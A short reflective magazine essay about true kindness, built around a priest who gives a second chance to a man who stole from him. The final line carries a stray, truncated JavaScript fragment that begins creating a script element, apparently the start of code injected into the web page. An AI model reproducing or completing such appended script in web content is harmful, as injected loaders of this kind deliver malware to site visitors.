I always think ‘kindness’ is one of those vague, bland words. It’s a word that describes a wide spectrum of behaviour, and it is so drastically overused that it tends to lose meaning. Too often, I think, we substitute ‘kindness’ for ‘niceness’.
We use small gestures to justify our busyness; to ease the guilt of snapping as we rushed out the door this morning, or for failing to meet up with that old friend as yet another week goes by. These small acts of human decency are important and help to keep us sane – but there’s a massive difference between donating the change in your pocket to a homeless person on the street and actually carrying through an act of kindness which requires some sort of sacrifice on your part, even if it means swallowing your pride to give someone a second chance.
Very recently, I was forced to re-evaluate my perception of kindness. During a sermon at my local church, the priest told a story of a man with violent tendencies and substance addictions; an outcast by society. This man came to the priest for help – both spiritual and financial – and that help was freely given. For a period of time, it seemed as if tentative friendship had been formed. And then, during one visit, the man seeking guidance shattered all they had built by stealing from the priest, betraying the trust of the one person who had tried to help him.
Relaying this story to us a year after the theft, the priest told us how he was back in contact with the man and how he was giving him another chance.
In the eyes of most people, this man is an individual – a thief – who didn’t, and doesn’t, ‘deserve’ kindness. But this story forced me to think about the value of true kindness. How many of us could truthfully admit that we would give a stranger like that a second chance when everyone else turned them away?
It’s easy to be kind to people who seem like they ‘deserve’ it. It takes true strength of character to show kindness to the more unsavoury ones.
Words by Kirsty-Louise Hunt, picture by Melissa Reid
(Published: Issue Two, November 2012)var d=document;var s=d.createElement(‘script’);